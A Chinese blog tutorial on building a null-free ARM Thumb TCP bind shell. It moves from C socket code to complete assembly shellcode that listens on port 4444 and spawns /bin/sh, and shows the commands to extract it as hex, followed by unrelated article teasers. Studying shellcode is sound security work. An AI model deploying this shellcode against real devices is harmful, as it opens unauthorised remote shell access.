ARM汇编之TCP Bind Shell

使用RouterSploit框架进行路由器安全评估:从原理到实战 嵌入式设备安全是物联网和网络基础设施防护的关键领域,其核心在于理解设备固件、网络服务与系统架构的潜在风险。漏洞利用的原理通常基于未授权访问、缓冲区溢出或身份验证绕过等常见安全缺陷,通过自动化工具可以系统性地识别和验证这些风险。RouterSploit作为一款专为嵌入式设备设计的渗透测试框架,其技术价值在于集成了信息收集、漏洞扫描、凭证爆破和漏洞利用模块,能够高效评估路由器、防火墙等网络边界设备的安全性。在应用场景上,它既适用于企业网络安全运维人员对网关设备进行风险评估,也帮助物联网安全爱好者排查智能家居隐患 阅读详情
13671484-ba1ce0df63cb4180.png
bind shell

作为一个bind shell,也就是在服务器上运行的shellcode,等待hacker去主动连接,所以它的主要工作就是监听固定端口,等待外部连接即可

C代码(Linux,都是使用man命令查询的命令介绍)

指令介绍
socket int socket(int domain, int type, int protocol);创建通信端点并返回描述符
bind int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);由socket创建的套接字只存在命名空间,并没有分配地址,所以由bind来分配实际地址给套接字
listen int listen(int sockfd, int backlog);将sockfd引用的套接字标记成被动的套接字,开启监听状态,等待网络连接的连入
accept int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);获取监听套接字上等待连接队列的第一个连接请求,如果成功,则返回这个接受的套接字描述符

dup2和stdin的使用,从dup2(fd, 0);开始,把标准输入的描述符的位置改成了1.txt的文件的描述符,也就是scanf从命令行的标准输入流读入内容,强行改成了从文件1.txt读入内容

int main()
{
        int fd = open("1.txt",O_RDWR);
        char buff[10];
        dup2(fd, 0);
        scanf("%s", buff);
        printf("\nThe content you input is : %s", buff);
        return 0;
}

dup2和execve:下面的代码,首先将输入、输出全部改成了1.txt文件的标识符,所以下面execve执行了sh命令后,从1.txt文件中读取输入、并且将结果返回给1.txt。当然如果想输出到命令行上,可以注释掉dup2(fd,1);这句标准输出流的标识符的更改

int main()
{

        int fd = open("1.txt",O_RDWR);
        char buff[10];
        dup2(fd, 0);
        dup2(fd,1);
        execve("/bin/sh", NULL, NULL);
        printf("\nThe content you input is : %s", buff);
        return 0;
}

最终的bind shell的C代码

#include <sys/socket.h>
#include <stdio.h>
#include <sys/types.h>
#include <netinet/in.h>

int fd_socket;
struct sockaddr_in hostaddr;

int main()
{
        //create a TCP socket
        fd_socket = socket(AF_INET, SOCK_STREAM, 0);

        //绑定本地地址,这里使用的IPv4协议,所以使用sockaddr_in结构体,具体man 7 ip查询
        hostaddr.sin_family = AF_INET;
        hostaddr.sin_port = htons(4444);
        hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);
        bind(fd_socket, (struct sockaddr*)&hostaddr, sizeof(hostaddr));

        //将这个socket转成监听状态,等待socket连接过来
        listen(fd_socket, 2);

        //获取并建立连接和连接过来的socket队列中的第一个连接,这是单对单的socket
        //不指定特定ip地址端口的客户端socket,所以后面两个参数为null
        int fd_client = accept(fd_socket, NULL, NULL);

        //将输入、输出、错误流都导向accept建立好的socket标识符
        dup2(fd_client, 0);
        dup2(fd_client, 1);
        dup2(fd_client, 2);

        //获取输入缓冲区数据并输出到标准输出标识符中去
        execve("/bin/sh", NULL, NULL);
        close(fd_socket);

        return 0;
}

汇编bind shell过程

根据C代码获取关键函数的系统调用号、参数

grep -R "socket" /usr/include/arm-linux-gnueabihf/asm/
找到的结果,很明显我们需要第二个:
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_socketcall       (__NR_SYSCALL_BASE+102)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_socket       (__NR_SYSCALL_BASE+281)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_socketpair       (__NR_SYSCALL_BASE+288)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#undef __NR_socketcall
/usr/include/arm-linux-gnueabihf/asm/socket.h:#include <asm-generic/socket.h>

grep -R "bind" /usr/include/arm-linux-gnueabihf/asm/
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_bind         (__NR_SYSCALL_BASE+282)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_mbind        (__NR_SYSCALL_BASE+319)

grep -R "listen" /usr/include/arm-linux-gnueabihf/asm/
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_listen       (__NR_SYSCALL_BASE+284)

grep -R "accept" /usr/include/arm-linux-gnueabihf/asm/
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_accept       (__NR_SYSCALL_BASE+285)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_accept4      (__NR_SYSCALL_BASE+366)

从上面提取到我们需要的系统函数的调用号,还需要一步就是基地址地址__NR_SYSCALL_BASE,grep -R "__NR_SYSCALL_BASE" /usr/include/arm-linux-gnueabihf/asm/查询的值是:/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_SYSCALL_BASE 0
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_socket (__NR_SYSCALL_BASE+281)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_bind (__NR_SYSCALL_BASE+282)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_listen (__NR_SYSCALL_BASE+284)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_accept (__NR_SYSCALL_BASE+285)
参数查询:通过man命令

首先需要解决空字节的出现问题,我么采用thumb指令集来尽量避免

.global _start
_start:
        .code 32
        //switch to thumb
        add r3, pc, #1
        bx r3

然后开始第一条语句的汇编代码fd_socket = socket(AF_INET, SOCK_STREAM, 0);:先找到的需要的参数值,然后找到存放参数的寄存器。
首先通过下面的查询命令获取参数的值(第三个参数使用man socket看参数简介时,提醒你看protocols来,man 5 protocols进入man页面,介绍说在/etc/protocols文件里就可以看到所有种类协议的协议标号,这里根据socket的page页介绍,只使用一个协议,所以使用0,伪协议即可),下面是其他两个参数的查询过程
grep -R "AF_INET" /usr/include

/usr/include/arm-linux-gnueabihf/bits/socket.h:#define  AF_INET     PF_INET

然后grep -R "AF_INET\|PF_INET\|SOCK_STREAM" /usr/include

/usr/include/arm-linux-gnueabihf/bits/socket.h:#define  PF_INET     2   /* IP protocol family.  */
/usr/include/arm-linux-gnueabihf/bits/socket_type.h:  SOCK_STREAM = 1,      /* Sequenced, reliable, connection-based

这里还要引入合法立即数的概念:最终合法可用的立即数是任意8位(<=255)立即数经过循环右移任意24位(<=30),为什么要乘以2*,要保证8位立即数可以在32位地址上移动。最终合法立即数区间:[0,FF00 00000],这是带符号立即数,最高位标识正负

ARM指令集的合法立即数

arm指令集合法立即数判断脚本-github
v = n ror 2*r
v:合法、可以使用的立即数
n:8bit的立即数
r:4bit的循环右移操作数

THUMB指令集的合法立即数

0-255

根据引入的知识点,来确定系统调用号的选取([arm指令集合法立即数判断脚本-github],注意THUMB指令集合法立即数0-255(https://github.com/xiongchaochao/repository/blob/master/Tools/LegalImmediate.py))

c:\Users\xxxxx\Downloads>python LegalNumber.py 281
illegal immediate: 281

c:\Users\xiongchaochao\Downloads>python LegalNumber.py 255
Legal Immediate: 255
[+]255 >> 0

c:\Users\xiongchaochao\Downloads>python LegalNumber.py 26
Legal Immediate: 26
[+]26 >> 0

问题代码,出现报错bind_shell.s: Assembler messages: bind_shell.s:20: Error: immediate value out of range经过查询修改发现,是应为THUMB指令集的原因,THUMB指令集下:
ADD Rd,Rn,#expr3或者ADD Rd,#expr8
expr3 3 位立即数,即0~7。
expr8 8 位立即数,即0~255。
arm各种详细指令文档

  4 .global _start
  5 
  6 _start:
  7         mov r1, #2147483648
  8         .code 32
  9         //switch to thumb
 10         add r3, pc, #1
 11         bx r3
 12 
 13 
 14         .code 16
 15         //create a socket,先写入参数,然后svc系统调用
 16         mov r0, #2
 17         mov r1, #1
 18         mov r2, #0
 19         mov r3, #255
 20         add r7, r3, #26
 21         svc #1
 22         mov r4, r0

修改后的代码:

.global _start

_start:
        mov r1, #2147483648
        .code 32
        //switch to thumb
        add r3, pc, #1
        bx r3


        .code 16
        //create a socket
        mov r0, #2
        mov r1, #1
        mov r2, #0
        mov r7, #255
        add r7, #26
        svc #1
        mov r4, r0

现在开始下一句主要是bind(fd_socket, (struct sockaddr*)&hostaddr, sizeof(hostaddr));,前面几句参数的赋值操作。在使用man bind后,其他两个参数都还好理解并选择给定的参数赋值既可,但是第二个参数const struct sockaddr *addr,这个结构体初次看见不太理解,他会让你去看下面的例子,大致能知道他是让你填写ip地址段口号之类,下面我们来追踪下这个结构体,看具体怎么来赋值使用

struct sockaddr {
sa_family_t sa_family;
char sa_data[14];
}

从man bind页可以知道它主要来源于#include <sys/socket.h>,所以find /usr -name "socket.h",可以找到sys路径下只有一个文件位置/usr/include/arm-linux-gnueabihf/sys/socket.h,这里的内容我是选择在线看的,内容一致,并且可以很方便的查询函数的声明和实例。在这里可以找到bind的代码

/* Give the socket FD the local address ADDR (which is LEN bytes long).  */
extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)
     __THROW;

这里将const struct sockaddr *结构体指针进行了宏定义,看代码作者怎么说的:GCC2.7以后,可以使用下面列表类型中的任意一个,而不会出问题。但是GCC2.7不支持透明联合,所以也需要旧版的声明。
bind函数主要用到下面的__CONST_SOCKADDR_ARG,也就是被声明成了透明联合体,可以使用__SOCKADDR_ALLTYPES内的任意类型结构体。

/* This is the type we use for generic socket address arguments.
   With GCC 2.7 and later, the funky union causes redeclarations or
   uses with any of the listed types to be allowed without complaint.
   G++ 2.7 does not support transparent unions so there we want the
   old-style declaration, too.  */
#if defined __cplusplus || !__GNUC_PREREQ (2, 7) || !defined __USE_GNU
//上面条件语句:__GNUC_PREREQ --如果GCC版本不是2.7或者之后的就执行下面的宏定义
# define __SOCKADDR_ARG                struct sockaddr *__restrict
# define __CONST_SOCKADDR_ARG        const struct sockaddr *
//根据上面的条件分析,那么下面的宏定义实现的条件就是GCC版本是2.7及其之后的,执行
#else
/* Add more `struct sockaddr_AF' types here as necessary.
   These are all the ones I found on NetBSD and Linux.  */
# define __SOCKADDR_ALLTYPES \
  __SOCKADDR_ONETYPE (sockaddr) \
  __SOCKADDR_ONETYPE (sockaddr_at) \
  __SOCKADDR_ONETYPE (sockaddr_ax25) \
  __SOCKADDR_ONETYPE (sockaddr_dl) \
  __SOCKADDR_ONETYPE (sockaddr_eon) \
  __SOCKADDR_ONETYPE (sockaddr_in) \
  __SOCKADDR_ONETYPE (sockaddr_in6) \
  __SOCKADDR_ONETYPE (sockaddr_inarp) \
  __SOCKADDR_ONETYPE (sockaddr_ipx) \
  __SOCKADDR_ONETYPE (sockaddr_iso) \
  __SOCKADDR_ONETYPE (sockaddr_ns) \
  __SOCKADDR_ONETYPE (sockaddr_un) \
  __SOCKADDR_ONETYPE (sockaddr_x25)
# define __SOCKADDR_ONETYPE(type) struct type *__restrict __##type##__;
typedef union { __SOCKADDR_ALLTYPES
              } __SOCKADDR_ARG __attribute__ ((__transparent_union__));
# undef __SOCKADDR_ONETYPE
//将上面列出的结构体,生成对应的const struct type *__restrict __##type##__;类型的结构体,type传入参数改变
# define __SOCKADDR_ONETYPE(type) const struct type *__restrict __##type##__;
//bind 函数。中的结构体主要是用到了这里的__CONST_SOCKADDR_ARG 
typedef union { __SOCKADDR_ALLTYPES
              } __CONST_SOCKADDR_ARG __attribute__ ((__transparent_union__));
# undef __SOCKADDR_ONETYPE
#endif

查询(grep -R "sockaddr_in {" /usr/include )上面列出的的结构体,最用可以确定sockaddr_in,查到/usr/include/linux/in.h这个文件,就查到了具体需要赋值的结构体的具体位置 。我们可以根据grep -R "__SOCKADDR_COMMON " /usr/include这个命令找到__SOCKADDR_COMMON 具体定义的地方,会知道这个变量的具体分配的字节数,在介绍结尾它提示/* bits/sockaddr.h */,我们找到这个文件内,我们可以找到这个变量,并且看到它具体存储的是socket地址的地址族信息,并且这个文件内部就有很多地址族的很多声明

struct sockaddr_in
  {
    __SOCKADDR_COMMON (sin_);        /* 2字节*/
    in_port_t sin_port;                        /* Port number.  2字节*/
    struct in_addr sin_addr;                /* Internet address.  4字节*/
/*寻找指令:grep -R "__u32" /usr/include | grep "typedef"*/
    /* Pad to size of `struct sockaddr'.  填充到结构体sockaddr的大小。 16-2-2-4=8字节,也就是说通用结构体sockaddr长度16,
上面用到了8字节具体数据,剩余需要填充的空间大小8字节*/
    unsigned char sin_zero[sizeof (struct sockaddr) -
                           __SOCKADDR_COMMON_SIZE -
                           sizeof (in_port_t) -
                           sizeof (struct in_addr)];
  };

准备工作基本完成,下面是完整的bind本地地址的汇编代码。需要注意的是为了尽量避免空字节,先把地址0.0.0.0改成1.1.1.1,执行时使用strb修改回来。还有就是最后一个nop指令是为了所有指令对齐。还有就是bind的第三个参数,sockaddr结构体的长度是固定值16,可以通过查看这个结构体声明代码处的类型,来判断大小

 24         //bind local address
 25      
 26         adr r1, local_addr
 27         strb r2, [r1, #1]
 28         strb r2, [r1, #4]
 29         strb r2, [r1, #5]
 30         strb r2, [r1, #6]
 31         strb r2, [r1, #7]
 32         mov r2, #16
 33         add r7, #1
 34         svc #1
 35         nop
 36 
 37 
 38 local_addr:
 39 .ascii "\x02\xff"
 40 .ascii "\x11\x5c"
 41 .byte 1,1,1,1

下面是listen:本地socket进入监听状态,等待远程socket连接过来
accept:从连过来的队列中选取第一个连接请求,根据这个请求创建一个新的socket用于双方通信,并返回这个通信通道socket的描述符

        //start listen
        //listen(sockfd, max_number_socket_connect)
        mov r0, r4
        mov r1, #3
        add r7, #2
        svc #1


        //accept(sockfd, *addr, *addrlen)
        mov r0, r4
        sub r1, r1, r1
        sub r2, r2, r2
        add r7, #1
        svc #1
        //socket channel
        mov r4, r0

最后一步,我们将标准输入流描述符、标准输出流描述符、标准报错流描述符,都导向这个socket描述符,再配合执行执行/bin/sh,这个sh指令会根据标准输入流描述符读取数据并执行,然后将输出、报错数据都输出到标准输出流的描述符、标准报错流的描述符,这样就可以从socket通道传输指令执行然后返回执行结果了。可以使用grep -R "STDERR" /usr/include | grep "define"来查看这三个标识符的值

        //dup2(newfd, oldfd)
        mov r0, r4
        sub r1, r1, r1
        mov r7, #63
        svc #1

        mov r0, r4
        mov r1, #1
        svc #1

        mov r0, r4
        mov r1, #2
        svc #1


        //execve--11
        adr r0, shell_command
        eor r1, r1, r1
        sub r2, r2, r2
        strb r1, [r0, #7]
        mov r7, #11
        svc #1
        nop

local_addr:
.ascii "\x02\xff"
.ascii "\x11\x5c"
.byte 1,1,1,1

shell_command:
.ascii "/bin/shX"

最终代码


.section .text

.global _start

_start:
    .code 32
    //switch to thumb
    add r3, pc, #1
    bx r3

    
    .code 16
    //create a socket
    mov r0, #2
    mov r1, #1
    sub r2, r2, r2
    mov r7, #200
    add r7, #81
    svc #1
    mov r4, r0


    //bind local address
    adr r1, local_addr
    strb r2, [r1, #1]
    strb r2, [r1, #4]
    strb r2, [r1, #5]
    strb r2, [r1, #6]
    strb r2, [r1, #7]
    mov r2, #16
    add r7, #1
    svc #1
    nop

    
    //start listen
    //listen(sockfd, max_number_socket_connect)
    mov r0, r4
    mov r1, #3
    add r7, #2
    svc #1
    
    
    //accept(sockfd, *addr, *addrlen)
    mov r0, r4
    sub r1, r1, r1
    sub r2, r2, r2
    add r7, #1
    svc #1
    mov r4, r0

    
    //dup2(newfd, oldfd)
    mov r0, r4
    sub r1, r1, r1
    mov r7, #63
    svc #1

    mov r0, r4
    mov r1, #1
    svc #1

    mov r0, r4
    mov r1, #2
    svc #1

    
    //execve--11
    adr r0, shell_command
    eor r1, r1, r1
    sub r2, r2, r2
    strb r1, [r0, #7]
    mov r7, #11
    svc #1
    nop

local_addr:
.ascii "\x02\xff"
.ascii "\x11\x5c"
.byte 1,1,1,1

shell_command:
.ascii "/bin/shX"

编译汇编代码: as bind_shell.s -o bind_shell.o && ld -N bind_shell.o -o bind_shell(务必加上-N参数,否则部分内存会是只读,但是代码中有strb写内存操作,会导致编译失败)
检查代码中是否存在空字符:objdump -d bind_shell.o(看第二列的指令即可)


bind_shell.o:     file format elf32-littlearm


Disassembly of section .text:

00000000 <_start>:
   0:   e28f3001    add r3, pc, #1
   4:   e12fff13    bx  r3
   8:   2002        movs    r0, #2
   a:   2101        movs    r1, #1
   c:   1a92        subs    r2, r2, r2
   e:   27c8        movs    r7, #200    ; 0xc8
  10:   3751        adds    r7, #81 ; 0x51
  12:   df01        svc 1
  14:   1c04        adds    r4, r0, #0
  16:   a112        add r1, pc, #72 ; (adr r1, 60 <local_addr>)
  18:   704a        strb    r2, [r1, #1]
  1a:   710a        strb    r2, [r1, #4]
  1c:   714a        strb    r2, [r1, #5]
  1e:   718a        strb    r2, [r1, #6]
  20:   71ca        strb    r2, [r1, #7]
  22:   2210        movs    r2, #16
  24:   3701        adds    r7, #1
  26:   df01        svc 1
  28:   46c0        nop         ; (mov r8, r8)
  2a:   1c20        adds    r0, r4, #0
  2c:   2103        movs    r1, #3
  2e:   3702        adds    r7, #2
  30:   df01        svc 1
  32:   1c20        adds    r0, r4, #0
  34:   1a49        subs    r1, r1, r1
  36:   1a92        subs    r2, r2, r2
  38:   3701        adds    r7, #1
  3a:   df01        svc 1
  3c:   1c04        adds    r4, r0, #0
  3e:   1c20        adds    r0, r4, #0
  40:   1a49        subs    r1, r1, r1
  42:   273f        movs    r7, #63 ; 0x3f
  44:   df01        svc 1
  46:   1c20        adds    r0, r4, #0
  48:   2101        movs    r1, #1
  4a:   df01        svc 1
  4c:   1c20        adds    r0, r4, #0
  4e:   2102        movs    r1, #2
  50:   df01        svc 1
  52:   a005        add r0, pc, #20 ; (adr r0, 68 <shell_command>)
  54:   4049        eors    r1, r1
  56:   1a92        subs    r2, r2, r2
  58:   71c1        strb    r1, [r0, #7]
  5a:   270b        movs    r7, #11
  5c:   df01        svc 1
  5e:   46c0        nop         ; (mov r8, r8)

00000060 <local_addr>:
  60:   5c11ff02    .word   0x5c11ff02
  64:   01010101    .word   0x01010101

00000068 <shell_command>:
  68:   6e69622f    .word   0x6e69622f
  6c:   5868732f    .word   0x5868732f

将ELF格式可执行文件转换成二进制文件: objcopy -O binary bind_shell bind_shell.bin

13671484-9896147e49649961.png
格式转换对比

提取十六进制shellcode: hexdump -v -e '"\\""x" /1 "%02x" ""' bind_shell.bin
详细命令可以man hexdump,也可以看附录参考文章中的中文版详解

参考文章:

dup与dup2函数详解
I/O重定向的原理和实现: dup、stdin、stdout
Browse the source code of Qt | GLibc | LLVM | Boost | GCC | Linux
msdn上面相关函数的api介绍,socket、bind、listen等
MSDN上的数据类型相关介绍:比如多少字节数
中文版的hexdump指令详解(http://man.linuxde.net/hexdump)

Emacs不是编辑器,是Linux终端里的可编程操作系统 Emacs本质上是一个嵌入Linux终端的Lisp运行时环境,它将文件编辑、Shell命令执行、Git操作、日志分析和系统调试等能力统一在缓冲区抽象与可编程接口之下。其核心原理在于用Elisp重定义人机协作范式——不再切换工具,而是扩展环境;不依赖GUI,而是深度适配TTY/SSH/WSL2等纯文本交互场景。技术价值体现在消除上下文切换、实现跨工具数据流转、支撑嵌入式与信创等严苛生产环境。典型应用场景包括ARM寄存器十六进制分析、内核日志实时过滤、Git rebase交互式编辑、以及基于org-babel的 阅读详情

相关推荐

Frida Spawn模式实战:绕过Android应用ptrace与进程名反调试

在移动安全与逆向工程领域,动态代码注入与调试是分析应用行为、发现安全漏洞的核心技术。其基本原理是通过系统提供的调试接口(如ptrace)或运行时注入机制,将监控代码植入目标进程,实现对函数调用、内存访问等行为的实时拦截与修改。这项技术的核心价值在于能够动态分析应用逻辑、绕过安全限制、实现自动化测试与漏洞挖掘。在Android平台,应用常通过ptrace反调试和进程名检测等手段来对抗此类分析,导致常规调试方法失效。针对这一挑战,Frida的Spawn模式提供了一种抢占先机的解决方案,通过在应用初始化代码执行前

weixin_33795743的博客 444

6-18漏洞利用-后门连接

我们一定要检测,当前系统,开放了那些端口,在某些情况下,尽量没有使用的端口,尽量关闭,我们只开启,我们服务器运行状态下,必须要开启的端口号,不相关的端口号,直接关闭,当然,我们也要实时监测系统服务器的网络状态,在出现连接过程中,我们一定要注意很有可能,这就是一次连接后门程序的一个活动,我们要对它进行实时监控。我们根据bindshell,猜测到,会是一个后门程序,这个时候,我们就需要验证这个猜测,我们用nc连接目标地址的端口号,来对其后门进行连接,从而获取对应的权限。我们服务器为什么存在后门程序。...

山兔的博客 1259

2026年普联(TP-LINK)嵌入式岗位面试带详细答案

本专栏针对TP-LINK嵌入式岗位面试,系统梳理硬件驱动、网络协议、系统裁剪等核心考点,涵盖7大模块共31道高频真题。内容聚焦Bootloader启动流程、LOCALBUS总线选型、TCP流量控制等关键技术点,提供标准答案与解析。适用于校招及1-3年经验社招,帮助考生快速掌握嵌入式开发必备知识体系,重点突破路由器/智能硬件相关业务场景的面试难点。

Open 51

2.深入了解bind函数

bind函数把一个本地协议地址赋予一个套接字。对于网际网协议,协议地址是32位的IPv4地址或者128位的IPv6地址与16位的TCP和UDP端口号的联合。

紫荆鱼的博客 2634

2026年诺瓦星云嵌入式面试题82道带详细答案

摘要 本文系统整理了嵌入式开发工程师面试中的技术要点,涵盖硬件外设、通信协议、电路设计、单片机架构、编程基础、数据结构、操作系统、Linux开发、网络协议及项目协作等九大模块。重点解析了SPI、I2C、UART三种通信协议的核心差异与应用场景(如SPI适用于高速外设,I2C适合低速传感器,UART用于调试透传),详细说明了ADC类型、DMA配置、RTC中断等硬件关键技术,并探讨了PID控制、蓝牙通信等实用方案。同时包含C语言static关键字、链表/数组区别、死锁处理等软件基础,以及交叉编译、TCP/UDP

Open 52

【16】linux命令/工具,systemd,文件操作,动静态库,信号,socket

apt install python3-pip --fix-missing(断开vpn,cp /etc/apt/sources.list /etc/apt/sources.list.bak,python3 -m pip install --upgrade pip,apt-get update,pip install 包名 -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com)设置时间,联网,apt-get install vim。

持续更新ing... 6793

X-Anylabeling自动标注工具从零配置指南:Conda环境搭建与实战标注技巧

本文详细介绍了X-Anylabeling自动标注工具的配置与使用,从Conda环境搭建到实战标注技巧,帮助用户高效完成计算机视觉项目的数据标注。通过智能预标注功能,X-Anylabeling显著提升标注效率,支持多种标注类型,适合各类视觉任务。

weixin_30562507的博客 200

大厂高级系统运维工程师经典面试题合集

正确答案: A解析 HCI 是计算、存储、网络融合部署,不是分离部署。正确答案: C解析 对于非最后一个分区的扩容,直接使用 virt-resize 可能导致分区表混乱。推荐使用 qemu-nbd 将镜像挂载为本地设备,再用 GParted 图形工具安全调整分区。回答正确 正确答案: B 你的答案: B解析 Docker Compose 的核心是通过单一 YAML 文件定义单机多容器应用的服务、网络、数据卷。

悦分享 77

3.7 bindshell编写

bindshell

qq_55202378的博客 913

运维与软件实施课表

运维与软件实施课表 课程 章节编号 章节 课程地址 软件及操作系统基础 ch01 软件及操作系统基础01 实施、运维工程师基本技能:https://blog.youkuaiyun.com/qq_28189423/article/details/82700539 老毛桃制作winPE镜像:https://blog.youkuaiyun.com/qq_2818942...

Mr.O~的博客 1万+

Zemax非序列模式实战:手把手教你设计光纤耦合圆光斑整形系统(附Thorlabs透镜选型)

本文提供了一份基于Zemax非序列模式的光纤耦合圆光斑整形系统实战设计指南。文章详细讲解了从圆柱体光源建模、Thorlabs商业透镜库选型调用,到系统搭建、光线追迹与优化的完整流程,旨在帮助工程师高效完成从仿真到落地的光束整形系统设计。

weixin_28335283的博客 634

Unix网络编程读书笔记(二)

套接字地址结构 IPv4套接字地址结构,定义如下,位于/usr/include/netinet/in.h: typedef uint32_t in_addr_t; struct in_addr { in_addr_t s_addr; }; struct sockaddr_in   {     __SOCKADDR_COMMON (sin_);     in_port

Andy.Wang的博客 866

Linux 桌面虚拟化技术 KVM

Linux 桌面虚拟化技术 KVM

高飞的博客 36万+

用汇编语言(ARM 32位)编写TCP Bind Shell的菜鸟教程

用汇编语言(ARM 32位)编写TCP Bind Shell的菜鸟教程 来源https://www.4hou.com/info/news/9959.html Change新闻2018年1月19日发布 导语:在本教程中,你将学习如何编写不包含null字节的tcp_bind_shell,并且可以用作shellcode测试漏洞可利用性。 在本教程中,你将学习如何编写不包含...

weixin_30408165的博客 658

(04730)半导体器件之基本放大器工作原理(一)

放大器是构成各种电子线路的基本单元电路。所谓“放大”,就是将输入的微弱信号(微弱变化的电压或电流等)去控制直流电源提供的能量,并使输出按照输入的小信号变化规律而变化的过程。所以放大器的本质是能量转换器。本节重点学习基本放大电路的工作原理和基本分析方法及主要性能指标。

黄先生的博客 3011

基于航位推算与多传感器融合的高精度避障小车设计

航位推算(Dead Reckoning)是一种在无外部定位信号下通过里程计与惯性测量单元(IMU)持续积分估计位姿的基础导航方法,其核心在于运动学建模、误差累积抑制与多源数据融合。该技术具备低依赖、高实时、强确定性等工程优势,广泛应用于服务机器人、AGV、竞赛无人平台等受限环境下的自主导航系统。结合编码器高分辨率测距与九轴IMU姿态解算,可显著抑制纯里程计漂移,提升短时定位精度至厘米级。本文以全国大学生电子设计竞赛K题为背景,深入实现了一种面向确定性场地的离线建图+航位推算双模协同架构,重点解决嵌入式资源约

weixin_36328210的博客 82

Ubuntu 16.04 源码编译安装 Redis 3.2.12 完整实践指南

Redis 是一款高性能内存键值数据库,其核心原理依赖于 fork 内存快照、事件驱动 I/O 多路复用及单线程原子操作模型。在 Linux 系统中,Redis 的稳定运行高度依赖内核参数(如 vm.overcommit_memory、net.core.somaxconn)、资源限制(ulimit)与 init 系统协同机制。Ubuntu 16.04 作为长期支持的老旧 LTS 版本,仍广泛用于边缘计算、金融终端和教学实验环境,但其默认 APT 包存在配置精简、CLI 功能缺失、ABI 兼容风险等问题。因此

weixin_34183910的博客 438

客服转人工率直降60%!OpenClaw深度集成NLP引擎,打造企业级对话自动化智能客服系统

本文介绍了一套基于OpenClaw智能体框架和NLP大模型引擎的智能客服系统解决方案。该系统通过深度集成NLP引擎实现精准语义理解,采用分层架构设计支持多渠道接入和业务系统对接,显著提升了客服效率。核心亮点包括:92%的重复问题自动解决率,60%的转人工率下降,40%的人力成本降低,以及从30秒压缩至0.5秒的平均响应时长。文章详细阐述了技术选型、系统架构设计、核心模块实现等关键环节,展示了如何通过智能对话系统破解传统客服业务中的人力资源与服务质量矛盾。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 363

MQX RTOS与Kinetis SDK融合开发指南:从内核原理到实战应用

实时操作系统(RTOS)是嵌入式开发中实现多任务调度与资源管理的核心组件,其通过任务、信号量、消息队列等机制,为复杂应用提供确定性的实时响应能力。在ARM Cortex-M微控制器平台上,RTOS与底层硬件驱动框架的高效协同是保障系统稳定性的关键。飞思卡尔(现NXP)的MQX RTOS以其紧凑内核和丰富中间件著称,而Kinetis SDK则为硬件访问提供了统一API。本文聚焦于MQX RTOS与Kinetis SDK 1.0.0的深度集成方案,解析其如何通过重构硬件抽象层(HAL)与驱动模型,实现成熟RTO

dfuw13072的博客 525

如何在Windows上安装Node-RED?

Node-RED 是一款基于流程的可视化编程工具,专注于物联网(IoT)和自动化应用的快速开发,其核心特点是通过拖拽节点构建数据流网络,实现低代码/无代码编程。

猿小白的博客 1174

Open3D(C++) 基于RANSAC和TLS的点云平面拟合

针对点云平面拟合过程中出现的异常值及误差的问题,提出一种将随机采样一致算法(RANSAC)与整体最小二乘法(TLS)相结合的点云平面拟合方法。利用随机采样一致算法剔除异常值,利用整体最小二乘法对剩余有效点进行平面拟合,计算模型参数。实验结果表明,该方法与传统的特征值法、最小二乘法相比,能提高参数的估算精度,更适合对含有不同异常值及误差的点云数据进行拟合,是一种稳健的平面拟合方法。

点云侠的博客 431

逆向分析实战:从二进制文件到核心功能还原的完整流程

逆向工程是理解软件内部机制、进行安全评估和漏洞挖掘的关键技术。其核心原理是通过静态与动态分析相结合的方法,解析二进制文件的逻辑与行为。静态分析侧重于在不运行程序的情况下,通过反汇编、反编译和字符串提取等手段,获取程序的结构与潜在功能线索;动态分析则在受控环境中运行程序,实时监控其系统调用、网络活动及内存变化,以验证静态分析结果并揭示真实执行路径。这项技术的价值在于能够深入理解闭源软件的工作原理、发现潜在安全风险,并广泛应用于恶意软件分析、软件漏洞挖掘、协议逆向及知识产权保护等领域。在本次实战中,我们运用了

bangtuo9862的博客 489

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

Android 9系统级Frida-Gadget管理工具:从设计到实现

在移动安全与逆向工程领域,动态代码注入是实现应用运行时分析、Hook函数和内存修改的核心技术。其原理通常是通过ptrace等系统调用附着到目标进程,操作其内存空间,加载自定义的动态链接库(如Frida-Gadget),从而实现对应用行为的监控与干预。这项技术的价值在于能够深度洞察应用逻辑、发现安全漏洞及进行自动化测试。在Android平台上,实现系统级、持久化的动态注入面临权限、SELinux策略和进程隔离等挑战,尤其在高版本系统中更为复杂。本文聚焦于Android 9(Pie)环境,探讨如何构建一个系统级

weixin_30357231的博客 527

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

操作系统类型决定安全边界:从通用OS到RTOS的实战安全DNA

